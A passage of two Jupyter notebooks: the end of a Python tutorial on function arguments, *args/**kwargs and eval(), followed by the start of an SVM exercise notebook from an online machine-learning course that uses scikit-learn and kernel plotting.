}, { "cell_type": "code", "execution_count": 49, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "100 10\n", "(100, 10)\n", "101 1000\n", "(101, 1000)\n" ] } ], "source": [ "def test(a=100, b=1000):\n", " print(a, b)\n", " return a, b\n", "\n", "print(test(b=10))\n", "print(test(101))" ] }, { "cell_type": "code", "execution_count": 2, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "10 2 100 5\n", "(10, 2, 100, 5)\n", "1 2 3 4\n", "(1, 2, 3, 4)\n", "10 2 100 1000\n", "(10, 2, 100, 1000)\n" ] } ], "source": [ "def test(d, c, a=100, b=1000):\n", " print(d, c, a, b)\n", " return d, c, a, b\n", "\n", "x = test(c=2, d=10, b=5)\n", "print(x)\n", "x = test(1, 2, 3, 4)\n", "print(x)\n", "print(test(10, 2))" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Example (RGB conversion):" ] }, { "cell_type": "code", "execution_count": 5, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "#c8c8ff\n", "#ffc8c8\n", "(200, 200, 255)\n" ] } ], "source": [ "def rgb_html(r=0, g=0, b=0):\n", " \"\"\"Converts R, G, B to #RRGGBB\"\"\"\n", "\n", " return '#%02x%02x%02x' % (r, g, b)\n", "\n", "def html_rgb(color='#000000'):\n", " \"\"\"Converts #RRGGBB em R, G, B\"\"\"\n", "\n", " if color.startswith('#'): color = color[1:]\n", "\n", " r = int(color[:2], 16)\n", " g = int(color[2:4], 16)\n", " b = int(color[4:], 16)\n", "\n", " return r, g, b # a sequence\n", "\n", "\n", "print (rgb_html(200, 200, 255))\n", "print (rgb_html(b=200, g=200, r=255)) # what's happened? \n", "print (html_rgb('#c8c8ff'))" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "> **Note**: non-default argument's should always follow default argument" ] }, { "cell_type": "code", "execution_count": 2, "metadata": {}, "outputs": [ { "ename": "SyntaxError", "evalue": "non-default argument follows default argument (<ipython-input-2-e01f44de5150>, line 1)", "output_type": "error", "traceback": [ "\u001b[0;36m File \u001b[0;32m\"<ipython-input-2-e01f44de5150>\"\u001b[0;36m, line \u001b[0;32m1\u001b[0m\n\u001b[0;31m def test(d, a=100, c, b=1000):\u001b[0m\n\u001b[0m ^\u001b[0m\n\u001b[0;31mSyntaxError\u001b[0m\u001b[0;31m:\u001b[0m non-default argument follows default argument\n" ] } ], "source": [ "def test(d, a=100, c, b=1000):\n", " print(d, c, a, b)\n", " return d, c, a, b\n", "\n", "x = test(c=2, d=10, b=5)\n", "print(x)\n", "x = test(1, 2, 3, 4)\n", "print(x)\n", "print(test(10, 2))" ] }, { "cell_type": "code", "execution_count": 4, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "10 2 100 5\n", "(10, 2, 100, 5)\n", "2 1 3 4\n", "(2, 1, 3, 4)\n", "2 10 100 1000\n", "(2, 10, 100, 1000)\n" ] } ], "source": [ "def test(c, d, a=100, b=1000):\n", " print(d, c, a, b)\n", " return d, c, a, b\n", "\n", "x = test(c=2, d=10, b=5)\n", "print(x)\n", "x = test(1, 2, 3, 4)\n", "print(x)\n", "print(test(10, 2))" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "> **Observations**:\n", "\n", "> + The  arguments with default value must come last, after the non-default arguments.\n", "> + The default value for a parameter is calculated when the function is defined.\n", "> + The arguments passed without an identifier are received by the function in the form of a list.\n", "> + The arguments passed to the function with an identifier are received in the form of a dictionary.\n", "> + The parameters passed to the function with an identifier should come at the end of the parameter list." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Example of how to get all parameters:" ] }, { "cell_type": "code", "execution_count": 18, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "('weigh', 10)\n", "{'unit': 'k'}\n" ] } ], "source": [ "# *args - arguments without name (list)\n", "# **kargs - arguments with name (ditcionary)\n", "\n", "def func(*args, **kargs):\n", " print (args)\n", " print (kargs)\n", "\n", "func('weigh', 10, unit='k')\n" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "In the example, `kargs` will receive the named arguments and `args` will receive the others.\n", "\n", "The interpreter has some *builtin* functions defined, including `sorted()`, which orders sequences, and `cmp()`, which makes comparisons between two arguments and returns -1 if the first element is greater, 0 (zero) if they are equal, or 1 if the latter is higher. This function is used by the routine of ordering, a behavior that can be modified.\n", "\n", "Example:" ] }, { "cell_type": "code", "execution_count": 21, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "('weigh', 10)\n", "{'val': {'age': 25, 'name': 'Mohan kumar Shah'}, 'unit': 'k'}\n" ] } ], "source": [ "def func(*args, **kargs):\n", " print (args)\n", " print (kargs)\n", "a = {\n", " \"name\": \"Mohan kumar Shah\",\n", " \"age\": 24 + 1\n", "}\n", "func('weigh', 10, unit='k', val=a)" ] }, { "cell_type": "code", "execution_count": 24, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "('weigh', 10, 'test')\n" ] } ], "source": [ "def func(*args):\n", " print(args)\n", "\n", "func('weigh', 10, \"test\")" ] }, { "cell_type": "code", "execution_count": 25, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "('List:', [(4, 3), (5, 1), (7, 2), (9, 0)])\n" ] } ], "source": [ "data = [(4, 3), (5, 1), (7, 2), (9, 0)]\n", "\n", "# Comparing by the last element\n", "def _cmp(x, y):\n", " return cmp(x[-1], y[-1])\n", "\n", "print ('List:', data)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Python also has a *builtin* function `eval()`, which evaluates code (source or object) and returns the value.\n", "\n", "Example:" ] }, { "cell_type": "code", "execution_count": 1, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "9.3\n" ] } ], "source": [ "print (eval('12. / 2 + 3.3'))" ] }, { "cell_type": "code", "execution_count": 1, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Janki Mohan Johri\n", "Mayank Johri\n" ] } ], "source": [ "def listing(lst):\n", " for l in lst:\n", " print(l)\n", " \n", "d = {\"Mayank Johri\":40, \"Janki Mohan Johri\":68}\n", "listing(d)" ] }, { "cell_type": "code", "execution_count": 17, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "{'age': 24, 'name': 'Mohan'}\n", "{'age': 25, 'name': 'Mohan kumar Shah'}\n" ] } ], "source": [ "d = {\n", " \"name\": \"Mohan\",\n", " \"age\": 24\n", "}\n", "\n", "a = {\n", " \"name\": \"Mohan kumar Shah\",\n", " \"age\": 24 + 1\n", "}\n", "\n", "def process_dict(d=a):\n", " print(d)\n", "\n", "process_dict(d)\n", "process_dict()" ] } ], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.6.4" } }, "nbformat": 4, "nbformat_minor": 1 }

gpl-3.0

danietzio/Artificial-intelligence

Coursera ML Course - AndrewNG/week 7/ex6/.ipynb_checkpoints/Support Vector Machines ( Python )-checkpoint.ipynb

1

270414

{ "cells": [ { "cell_type": "code", "execution_count": 1, "metadata": { "collapsed": true }, "outputs": [], "source": [ "import pandas as pd\n", "import numpy as np\n", "import seaborn as sns\n", "import matplotlib.pyplot as plt\n", "import math\n", "import scipy.io\n", "from scipy.special import expit\n", "from math import *\n", "from scipy import optimize\n", "from sklearn import svm" ] }, { "cell_type": "code", "execution_count": 2, "metadata": { "collapsed": true }, "outputs": [], "source": [ "sns.set_style('whitegrid')\n", "%matplotlib inline" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Functions" ] }, { "cell_type": "code", "execution_count": 158, "metadata": { "collapsed": false }, "outputs": [], "source": [ "sigma = 2\n", "\n", "# Check Model ( return coef for verified model ) \n", "def checkModel(model):\n", " # Initializing the coef\n", " coef = None\n", " # Checking Model existence\n", " if( model is not None ):\n", " if( model.kernel == 'linear' ):\n", " if( len(model.coef_.shape) >= 2 ):\n", " coef = model.coef_[0]\n", " else:\n", " coef = model.coef_\n", " else:\n", " coef = None\n", " else:\n", " \n", " # Model has some problems\n", " return { status: False, msg: 'Model has problem', \"coef\": None }\n", " \n", " return { \"status\": True, \"msg\": 'Model is correct', \"coef\": coef}\n", "\n", "# Traing SVM\n", "def visualizeBoundry(X, y, model= None):\n", " # Initializing the coef\n", " coef = None\n", "\n", " # Checking Model existence\n", " checkedModel = checkModel(model)\n", " \n", " if(checkedModel[\"status\"]):\n", " coef = checkedModel[\"coef\"]\n", " \n", " # Setting range of the X,y\n", " X_range = np.linspace(min( X.T[1] ) , max( X.T[1] ), 100 )\n", " y_range = -1 * ( coef[1] * X_range + model.intercept_ ) / coef[2]\n", "\n", " # Converting X_range && y_range to Dataframe\n", " df = pd.DataFrame( [X_range, y_range] ).T\n", " df.columns = ['first', 'second']\n", "\n", " # Plotting data\n", " sns.plt.plot('first', 'second', data= df)\n", " \n", " else:\n", " return checkedModel[\"msg\"]\n", " \n", "def plotData(X,y):\n", " pos = ( y == 1 );\n", " neg = ( y == 0 );\n", " \n", " plt.scatter(X[pos].T[0], X[pos].T[1], c='k', marker='+')\n", " plt.scatter(X[neg].T[0], X[neg].T[1], c='y', marker='o')\n", " \n", "def visualizeBoundryCountor(X, y, model= None):\n", " # Initializing the coef\n", " coef = None\n", "\n", " # Checking Model existence\n", " checkedModel = checkModel(model)\n", " \n", " if(checkedModel[\"status\"]):\n", "\n", " # Setting range of the x,y\n", " X_range = np.linspace(min( X.T[0] ), max( X.T[0] ), 400)\n", " y_range = np.linspace(min( X.T[1] ), max( X.T[1] ), 400)\n", " \n", " # Creating Z matrix for holding predections\n", " z = np.zeros( (len(X_range), len(y_range) ) )\n", " X_meshed, y_meshed = np.meshgrid(X_range, y_range)\n", " \n", " z = model.predict(np.c_[ X_meshed.ravel(), y_meshed.ravel() ])\n", " z = z.reshape( X_meshed.shape ) \n", " \n", " plt.figure(figsize=(12,8))\n", " plt.contourf(X_meshed, y_meshed, z, alpha= 0.2)\n", " plotData(X,y)\n", " \n", " plt.show()\n", " else:\n", " return checkedModel[\"msg\"]\n", " \n", "def gaussianKernel(x1, x2):\n", " dist = ( x1 - x2 ).T.dot(x1 - x2)\n", " return np.exp( ( -1 * ( dist ) ) / (2 * ( sigma ** 2 )))\n", "\n", "def findBestModel(X,y, Xval, yval):\n", " # Initializing the Possible values for both C and Sigma\n", " pValues = np.array([0.01, 0.03, 0.1, 0.3, 1, 3, 10, 30]);\n", " \n", " # Creating matrix for holding the error of each model\n", " error = np.zeros((len(pValues) ** 2,1))\n", " \n", " # Computing model error for each permutation of the sigma and C\n", " for i in range(len(pValues)):\n", " for j in range(len(pValues)):\n", " # Initializing The Model\n", " model = svm.SVC(C=pValues[i] ,kernel= 'rbf' ,gamma= 2 * ( pValues[j] ** 2 ))\n", " \n", " # Fitting Data to The Model\n", " model.fit(X,y)\n", " \n", " # Computing error of the Model on the Cross Validation Dataset\n", " error[ i * len(pValues) + j ] = 1 - model.score(Xval, yval)\n", " \n", " # Getting the minimum value index in error matrix\n", " idx = np.argmin(error)\n", " \n", " # Finding C, sigma for model with minimum error\n", " i = np.floor(idx / len(pValues))\n", " j = idx - i * len(pValues)\n", " \n", " C = pValues[int(i)]\n", " sigma = pValues[int(j)]\n", " \n", " return { \"C\": C,\n", " \"sigma\": sigma }" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# SVM - Linear Kernel" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Load The Dataset 1" ] }, { "cell_type": "code", "execution_count": 4, "metadata": { "collapsed": true }, "outputs": [], "source": [ "mat = scipy.io.loadmat('ex6data1.mat');\n", "X = mat['X'] # Transpose for better accesing to columns\n", "y = mat['y'].T[0] # Transpose for better accesing to columns" ] }, { "cell_type": "code", "execution_count": 5, "metadata": { "collapsed": true }, "outputs": [], "source": [ "X_bias = np.insert(X,0,1,axis=1)" ] }, { "cell_type": "code", "execution_count": 6, "metadata": { "collapsed": true }, "outputs": [], "source": [ "X_df = pd.DataFrame(X)\n", "y_df = pd.DataFrame(y)" ] }, { "cell_type": "code", "execution_count": 7, "metadata": { "collapsed": true }, "outputs": [], "source": [ "df = pd.concat([X_df, y_df],axis=1)\n", "df.columns = ['first', 'second', 'out']" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Plot the Data" ] }, { "cell_type": "code", "execution_count": 8, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/plain": [ "<seaborn.axisgrid.FacetGrid at 0xe58cb5ed68>" ] }, "execution_count": 8, "metadata": {}, "output_type": "execute_result" }, { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAAAmQAAAI4CAYAAADEXfUwAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJzt3X90XGd95/GPrJGtIkuWTE5sM1aqxCVP0+pIxGOvhCtE\n7J60NEsCcbvBS/lV6kPcU7oQustussCeswultHBIu6U1iU9YCKUOPwwoxC10Y1JHEXbtcZGqhDxO\n5XoRUxsrsmQ5cmQ0kvYPjZyxPL9szb3P3Hvfr3N0LN1HGn2vrzT6zHOfH1Vzc3MCAACAO8tcFwAA\nABB1BDIAAADHCGQAAACOEcgAAAAcI5ABAAA4FphAlkwm5yQt+e3ZZ58ty+ME4Y1zDedblM41aufL\nuYbzjXP15S3wAhPIymVqasp1Cb7hXMMpSucqRet8Oddw4lxRisgFMgAAgEpDIAMAAHCMQAYAAOAY\ngQwAAMAxAhkAAIBjBDIAAADHCGQAAACOEcgAAAAcI5ABAAA4RiADAABwjEAGAADgGIEMAADAMQIZ\nAACAYwQyAAAAxwhkAAAAjhHIAAAAHCOQAQAAOEYgAwAAcIxABgAA4BiBDAAAwDECGQAAgGMx1wUA\nAK6UnkmrbzipI6l+jU9NqLG2QZvj7drSnFCsmqduIGz4rQaACpOeSWvPsb06OTZ86djI5Kj2Hz+g\n50Ze0M6NOwhlQMhwyxIAKkzfcPKyMJbt5Niw+oaTPlcEwGu8xALgFLfmrnQk1V+w/WhqQN0tHT5V\nA8AP0Xy2A1ARSrk1F0XjUxNF2s/5VAkAv3DLEoAz3JrLrbG2oUj7Kp8qAeAXAhkAZ0q5NRdFm+Pt\nBds3xdt8qgSAXwhkAJzh1lxuW5oTamlqztl2Y9MN2tKc8LkiAF5jDBkAZxprGzQyOVqgPZq35mLV\nMe3cuEN9w0kdTQ1ofOqcGmtXaVO8LXCTHfJN2qidq3JdGlBRgvNbDSB0Nsfbtf/4gbztm+JtUv68\nFmqx6pi6WzoCPZuy0KSNlTM/p40zGwMVLgEvccsSgDPcmgu3QpM2zlwcjeykDSAXAhkAZxZuzd1x\n8zZdX3edllfX6Pq663THzdv0uxvfRu9JwDFpAygdz3YAnArDrTnkxqQNoHT0kAEAPMF6akDpCGQA\nAE+wnhpQOgIZAMAThSZtrFnxaiZtAFkYQwYA8ESh9dRqX6xi0gaQhd8GAIBn8k3aSI6y5AWQjVuW\nAAAAjhHIAAAAHPP0lqUx5npJSUm3W2ufzzp+n6SdkkYyh+611lovawEAAKhUngUyY0yNpM9LejlH\nc0LSu6y1DCIAAACRVzU3N+fJAxtj/kzSfkn3S9q1qIfsR5KelbRW0hPW2k8We7xkMulNoQAAINAS\niUSV6xqWypMeMmPMeySNWGu/a4y5P8en7JX0OUkTkr5pjHmztfY7xR43kVj6mjXJZLIsjxMEnGs4\nRelcpWidL+caTpwrSuHVoP73SrrdGPOUpNdJ+pIxZq0kGWOqJD1orX3RWvszSU9IutWjOgAAACqe\nJz1k1truhfczoWyXtfZ05lCDpEFjzC2SJiVtk/SIF3UAAAAEgW8Lwxpj3i5ppbX2IWPMA5K+L+mi\npCettfv9qgMAAKDSeB7IrLW3Zd59PuvYo5Ie9fp7AwAABAELwwIAADhGIAMAAHCMQAYAAOAYgQwA\nAMAxAhkAAIBjBDIAAADHCGQAAACOEcgAAAAcI5ABAAA4RiADAABwjEAGAADgmG+biwNAEKRn0uob\nTupIql/jUxNqrG3Q5ni7tjQnFKvmKROAN3h2AYCM9Exae47t1cmx4UvHRiZHtf/4AT038oJ2btxB\nKAPgCW5ZAkBG33DysjCW7eTYsPqGkz5XBCAqCGQAkHEk1V+w/WhqwKdKAEQNgQwAMsanJoq0n/Op\nEgBRQyADgIzG2oYi7at8qgRA1BDIACBjc7y9YPumeJtPlQCIGgIZAGRsaU6opak5Z9uNTTdoS3PC\n54oARAXztwEgI1Yd086NO9Q3nNTR1IDGp86psXaVNsXbWIcMgKd4dgGALLHqmLpbOtTd0uG6FAAR\nwi1LAAAAxwhkAAAAjhHIAAAAHGMMGQAg0NgQHmHATyoAILDYEB5hwS1LAEBgsSE8woJABgAILDaE\nR1gQyAAAgcWG8AgLAhkAILDYEB5hQSADAAQWG8IjLAhkAIDAYkN4hAVzgQEAgcWG8AgLflIBAIHG\nhvAIA25ZAgAAOEYgAwAAcIxABgAA4BiBDAAAwDECGQAAgGMEMgAAAMcIZAAAAI4RyAAAABxjYVgA\nAHCF9ExafcNJHUn1a3xqQo21Ddocb2cHBI/wPwoAAC6Tnklrz7G9Ojk2fOnYyOSo9h8/oOdGXtDO\njTsIZWXGLUsAAHCZvuHkZWEs28mxYfUNJ32uKPwIZAAA4DJHUv0F24+mBnyqJDoIZAAA4DLjUxNF\n2s/5VEl0EMgAAMBlGmsbirSv8qmS6CCQAQCAy2yOtxds3xRv86mS6CCQAQCAy2xpTqilqTln241N\nN2hLc8LnisKPOasAAOAyseqYdm7cob7hpI6mBjQ+dU6Ntau0Kd7GOmQe4X8UAABcIVYdU3dLh7pb\nOlyXEgncsgQAAHCMHrIsbBMBAABcIGVksE0EAABwhVuWGWwTAQAAXCGQZbBNBAAAcIVAlsE2EQAA\nwBUCWQbbRAAAAFcIZBlsEwEAAFwhkGWwTQQAAHCFdRwy2CYC8B5r/QFAbjwDZmGbCMA7rPUHAPnx\n7AfAF6Ws9ceLITfouQTcYwwZAF+w1l9lWui53H/8gEYmRzU9M32p53LPsb1Kz6RdlwhEAoEMgC9Y\n668ysUsJUBkIZAB8wVp/lYmeS6AyEMgA+IK1/ioTPZdAZSCQAfAFa/1VJnougcpAIAPgi4W1/u64\neZuur7tOy6trdH3ddbrj5m363Y1vYzafI/RcApWBZ0AAvmGtv8qzpTmh50ZeyDmwn55LwD+eBjJj\nzPWSkpJut9Y+n3X8Tkkfk5SW9Ii19mEv6wAA5MYuJUBl8Ow3zRhTI+nzkl7OcfyzkjZLmpT0jDGm\nx1r7U69qAQDkR88l4F7V3NycJw9sjPkzSfsl3S9p10IPmTGmTdKfWGvflPn4s5L6rLVfK/R4yWTS\nm0IBAECgJRKJKtc1LJUnPWTGmPdIGrHWftcYc/+i5gZJ2fOoz0sqaRpPIrH0sQzJZLIsjxMEnGs4\nRelcpWidL+caTpwrSuHVLMv3SrrdGPOUpNdJ+pIxZm2mbUJSfdbn1ksa96gOAACAiudJD5m1tnvh\n/Uwo22WtPZ059CNJrzXGrJb0kqRuSZ/2og4AAIAg8G36jDHm7ZJWWmsfMsZ8SNJ3Nd9D94i1NuVX\nHQAAAJXG80Bmrb0t8+7zWccel/S4198bAAAgCFipHwAAwDECGQAAgGMEMgAAAMcIZAAAAI4RyAAA\nABxj11gAAHJIz6TVN5zUkVS/xqcm1FjboM3xdjZdhyf4iQIAYJH0TFp7ju3VybHhS8dGJke1//gB\nPTfygnZu3EEoQ1lxyxIAgEX6hpOXhbFsJ8eG1Tec9LkihB2BDACARY6k+gu2H00N+FQJooJABgDA\nIuNTE0Xaz/lUCaKCQAYAwCKNtQ1F2lf5VAmighGJAAAssjnerv3HD+Rt3xRv860WZntGAz1kAAAs\nsqU5oZam5pxtNzbdoC3NCV/qWJjtuf/4AY1Mjmp6ZvrSbM89x/YqPZP2pQ54j2gNAIvQI4FYdUw7\nN+5Q33BSR1MDGp86p8baVdoUb/P156CU2Z7dLR2+1AJv8cwCAFlYfwoLYtUxdbd0OA08pcz2JJCF\nA7csASAL60+hkjDbMzoIZACQhfWnUEmY7RkdBDIAyEKPBCrJ5nh7wXY/Z3vCWwQyAMhCjwQqSaXM\n9oT3CGQAkIUeCVSShdmed9y8TdfXXafl1TW6vu463XHzNv3uxrcxwSREuJIAkGVLc0LPjbyQc2A/\nPRJwoRJme8J7BDIAyFIp608BiBaeWQBgEXokAPiNMWQAAACOEcgAAAAcI5ABAAA4RiADAABwjEAG\nAADgGIEMAADAMQIZAACAYwQyAAAAxwhkAAAAjhHIAAAAHCOQAQAAOEYgAwAAcIxABgAA4BiBDAAA\nwDECGQAAgGMEMgAAAMcIZAAAAI4RyAAAABwjkAEAADhGIAMAAHCMQAYAAOAYgQwAAMAxAhkAAIBj\nBDIAAADHCGQAAACOEcgAAAAcI5ABAAA4RiADAABwjEAGAADgGIEMAADAMQIZAACAYwQyAAAAxwhk\nAAAAjhHIAAAAHCOQAQAAOEYgAwAAcIxABgAA4BiBDAAAwLGY6wIAAOGQnkmrbzipI6l+jU9NqLG2\nQZvj7drSnFCsmj83QCH8hgAAliw9k9aeY3t1cmz40rGRyVHtP35Az428oJ0bdxDKgAK4ZQkAWLK+\n4eRlYSzbybFh9Q0nfa4ICBYCGQBgyY6k+gu2H00N+FQJEEwEMgDAko1PTRRpP+dTJUAwEcgAAEvW\nWNtQpH2VT5UAwUQgAwAs2eZ4e8H2TfE2nyoBgokpL0CZTadn1duf0qHBUxqbuKimhhXqbF2nrva4\namK8BkI4bWlO6LmRF3IO7L+x6QZtaU44qAoIDgIZUEbT6Vnt3jegE6nxS8fOnL2gnoNDGhwa1a7t\nbYQyeML1GmCx6ph2btyhvuGkjqYGND51To21q7Qp3sY6ZEAJ+A0Byqi3P3VZGMt2IjWu3v6Utiaa\nfa4KYVcpa4DFqmPqbulQd0uH598LCBvPfkONMdWSHpZkJM1J2mWtHcxqv0/STkkjmUP3WmutV/UA\nfjg0eKpg++HB0wQylF0pa4ARkoDK5uVLpjslyVr7K8aY2yR9QtJbstoTkt5lrWW1QITG2MTFwu3n\np3yqBFFSyhpgBDKgslXNzc159uDGmJi1Nm2Mebekbdbad2e1/UjSs5LWSnrCWvvJQo+VTCa9KxQo\nk8eeHtX4ZDpve1NdTPe84dU+VoQo+PJPHtfM3Eze9lhVtX57/Z0+VgT4K5FIVLmuYak8HVSQCWNf\nlHS3pN9a1LxX0uckTUj6pjHmzdba7xR6vERi6bN0kslkWR4nCDhX/01oWD0Hh/K2v+kNG5RY4i3L\nSjlXv0TpfK/1XJ+aSmpkcjRv+/V111Xc/yHXNZyidK7l5vl0r0yv2M2SHjbG1EmSMaZK0oPW2het\ntT+T9ISkW72uBfBaV3tcN8Ubc7ZtWN+orva4zxUhClgDDAg+Lwf1v1PS+sytyAuSZjNvktQgadAY\nc4ukSUnbJD3iVS2AX2piy7Rre5t6+1M6PHhaY+en1FRfq47WtaxDBs+wBhgQfF7estwn6QvGmIOS\naiR9UNLdxpiV1tqHjDEPSPq+pIuSnrTW7vewFsA3NbFl2ppoZjYlfMMaYEDwefZbaq2dlHRPgfZH\nJT3q1fcHgChhDTAg2Lh/AgAA4BiBDAAAwDEGFgAAkIfrPUJdivK5u8D/KAAAOVTKHqEuRPncXeGW\nJQAAOZSyR2hYRfncXSGQAQCQQyl7hIZVlM/dFQIZAAA5jE9NFGk/51Ml/ovyubtCIAMAIIfG2oYi\n7at8qsR/UT53VxiRh0CZTs+qtz+lQ4OnNDZxUU0NK9TZuk6vmplzXRqAkNkcb9f+4wfytod5j9Ao\nn7sr9JAhMKbTs9q9b0A9B4d05uwFTadndObsBfUcHNL+o+OaTs8WfxAAKNGW5oRamnJvgRb2PUKj\nfO6u0EOGwOjtT+lEajxn26mxn6m3P8X+kQDKJsp7hEb53F3hfxSBcWjwVMH2w4OnCWQAyirKe4RG\n+dxd4JYlAmNs4mLh9vNTPlUCAEB50UOGwGhqWKEzZy/kb6+v9bGaypRv0kNXe1w1MV5/AUCl4hka\ngdHZuq5ge0frWp8qqUyFJj3s3jfApAcAqGAEMgRGV3tcN8Ubc7ata1qurva4zxVVlkKTHk6kxtXb\nn/K5IgBAqQhkCIya2DLt2t6mu7o3aM3qOi2vqdaa1XW6q3uD7tjUGPlbcqVMegAAVCbGkCFQamLL\ntDXRfMVsymTyjKOKKgeTHgAguKLdpQCESFPDisLtTHoAgIpFDxkQEp2t69RzcChve9QnPaDypGfS\n6htO6kiqX+NTE2qsbdDmeDsLjyKS6CEDQqLQpIcN6xsjP+kBlWVmbkZ7ju3V/uMHNDI5qumZaY1M\njmr/8QPac2yv0jNp1yUCviKQASFRaNLDvXe3RX7SAyrL8y+d0Mmx4ZxtJ8eG1Tec9LkiwC36hIEQ\nyTfpAag0x1/6f9Ly/O1HUwNs2YNI4SUzAMB3kzMvF2wfnzrnUyVAZSCQAQB8V1f9cwXbG2tX+VQJ\nUBkIZAAA39288ucLtm+Kt/lUCVAZCGQAAN/94sqb1NKUe6zjjU03aEtzwueKALcY1A8A8F11VbV2\n3rpDfcNJHU0NaHzqnBprV2lTvI11yBBJ/MQDAJyIVcfU3dLBbEpA3LIEAABwjkAGAADgGIEMAADA\nMQIZAACAYwQyAAAAxwhkAAAAjhHIAAAAHCOQAQAAOMbCsAAq0nR6Vr39Kf3t06N6rO9pNTWsUGfr\nOnW1x1UT47UkgHDhWQ1AxZlOz2r3vgH1HBzS+GRa0+kZnTl7QT0Hh7R734Cm07OuSwSAssrbQ2aM\n+YKkuXzt1tr3elIRUOEWem4ODZ7S2MRFem480Nuf0onUeM62E6lx9fantDWRe2NqAG6kZ9J69vwL\neuqZpManJtRY26DN8Xb2Ji1Rob8eT0n6B0n1kl4j6YCk70lqKvJ1QGhl99ycOXuBnhuPHBo8VbD9\n8OBpnyoBUIr0TFp7ju3V0fFnNTI5qumZaY1Mjmr/8QPac2yv0jNp1yVWvLzBylr7RWvtFyXdIOkO\na+2XrbV7Jf2mpF/yq0CgkpTSc4OlG5u4WLj9/JRPlQAoRd9wUifHhnO2nRwbVt9w0ueKgqeUnq5V\nklZnfbxG0kpvygEqGz03/mhqWFG4vb7Wp0oAlOJIqr9g+9HUgE+VBFcpN3U/IWnAGPOMpGpJHZL+\nk6dVARWKnht/dLauU8/BobztHa1rfawGQDHjUxNF2s/5VElwFe0hs9Y+Kikhaa+kL0u61Vr7Da8L\nAyoRPTf+6GqP66Z4Y862Desb1dUe97kiAIU01jYUaV/lUyXBVTSQGWMaJW3X/LixVkm7jDEf87ow\noBJ1tq4r2E7PTXnUxJZp1/Y23dW9QU11MS2vqdaa1XW6q3uD7r27jdmsQIXZHG8v2L4p3uZTJcFV\nyi3Lr0k6J2lQBZbBAKKgqz2uwaHRnAP76bkpr5rYMm1NNKtBZ5RIJFyXA6CALc0JPTfygp67YK9o\nu7HpBm1p5ne4mFIC2Vpr7e2eVwIEwELPTW9/SocHT2vs/JSa6mvV0bqWdcgARFasOqadG3foK5Nf\n14s15zU+dU6Ntau0Kd7GOmQlKuV/6J+MMW3WWqZIAHql54aFSQHgFbHqmH65/rX0aF+jUgJZq+ZD\n2U8lTUmqkjRnrb3J08oAAAAiopRAdrfnVQAAEGHpmbT6hpM6kupn26GIKuUq/1jSLkm/mvn8A5L+\nwsuiAACIioVth7JXul/Ydui5kRe0c+MOQlmFMcb8lqT/a63NvXXLNShlBPKfSPp1SV+S9AVJ2yR9\nplwFAAAQZWw7FEjvl1TWhSdLidy/pvnFYGclyRjzhKR/lnRfOQsBACCKStl2qLulw6dqos0Y82rN\nL4L/KknTknZK2m2tfVOm/XlJfyDpdZrvpPqNcn3vUnrIYro8uMUkzZSrAAAAooxthyrKf5f0qLX2\njZL+OPN2GWvt30v6oaTfKec3LqWH7K8lPWWM+ZvMx/9R0lfKWQQAAFHVWNugkcnRAu1sO+SjX5T0\n55n3n5H0dUmHJMkYU+XlNy5lL8s/kvS/JN0gqUXSxzPHAADAErHtUEU5Lun1mfe7JB2T9JrMx6/L\n+rw5lXaXsWSl7GX5Gkm3WWv/i+ZnV+4wxqwpZxEAAETVluaEWppyLzTNtkO++yNJ7zDGHJT0EUnv\nk5Q0xhyWdK+kFzOfd0jS18rZa1bqLcu9mff/TdLTkh7V/GB/ABVgOj2r3v6UDg2e0tjERTU1rFBn\n6zq2c0KgRWVtroVth/qGkzqaGmDbIYestWck/ftFh68YK2atvb/c37uUq7zaWvv5TAEXJT1sjPm9\nchcC4NpMp2e1e9/AZRuenzl7QT0HhzQ4NKpd29sIZQicqK3NFauOqbulg9mUEVbKs/TLxphL0zqN\nMb8qadK7kgBcjd7+1GVhLNuJ1Lh6+1M+VwQsHWtzIWpKCWS7JP2pMWbUGPOipE9LoocMqBCHBk8V\nbD88eNqnSoDyKWVtLiBMivb3Wmt/KKk1s1jatLW28IIpAHw1NnGxcPv5KZ8qAcqHtbkQNaXMsvx5\nY8zfa35GwauMMQeMMS2eVwagJE0NKwq315d1dw/AF421DUXaWZsL4VLKiMjPS/pTSZ+S9FNJf6P5\nfS27PawLQIk6W9ep5+BQ3vaO1rU+VgOUx+Z4u/YfP5C3nbW5UA53/uG3l0u6R9JbJa2VdFrStyR9\n9fHPvOVnftZSyhiy66y135Mka+2ctfZhSYVfugDwTVd7XDfFG3O2bVjfqK72uM8VAUvH2lzwWiaM\nfU7SBzW/8H1t5t8PSvpcpv2aGGOWGWN2G2N+YIx5yhjzC8W+ppQespeNMes1vyqtjDFdkgoPWgGu\nEetpXb2a2DLt2t6m3v6UDg+e1tj5KTXV16qjdS3/bwgs1uaCD+6RdGuetlsz7V++xsd+q6Raa+